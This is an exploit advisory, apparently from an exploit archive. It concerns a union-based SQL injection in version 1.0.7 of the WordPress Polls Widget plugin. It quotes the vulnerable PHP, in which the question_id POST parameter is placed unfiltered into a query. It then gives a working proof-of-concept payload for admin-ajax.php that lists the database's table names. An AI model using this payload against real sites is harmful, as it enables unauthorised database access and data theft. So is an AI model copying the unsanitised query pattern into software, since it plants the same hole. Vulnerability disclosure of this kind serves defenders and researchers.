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WordPress Polls Widget Plugin 1.0.7 - SQL Injection Vulnerability
[Exploit Title : wordpress poll widget version 1.0.7 SQL Injection vulnerability
Author : WICS
Date : 7/12/2015
Software Link : https://wordpress.org/plugins/polls-widget/
Affected Version: 1.0.7 and below
Overview:
Poll widget is wordpress plugin which provide fancy user Polling layout to website users and user can vote according to options provided in specific poll.
This plugin has 2000+ active installations.
Vulnerability exist in front_end.php file in which code is not filtering user supplied data on parameter question_id
line no. 36 $question_id=$_POST['question_id'];
....
....
line no. 94--> $answer=$wpdb->get_results('SELECT `answer_name`,`vote` FROM '.$wpdb->prefix.'polls WHERE question_id='.$question_id,ARRAY_A);
print_r(json_encode($answer, JSON_FORCE_OBJECT));
this script is vulnerable to union based sql injection with column count 2
POC
http://localhost/wp-admin/admin-ajax.php?action=pollinsertvalues
in post data, add this
question_id=1337 union select group_concat(0x7e,(select(@)from(select(@:=0x00),(select(@)from(information_schema.tables)where table_schema=database() and (@)in(@:=concat(@,0x3C62723E,table_name))))a)),2-- -&poll_answer_securety=4ac4f387e2&date_answers[0]=5
# 0day.today [2024-09-19] #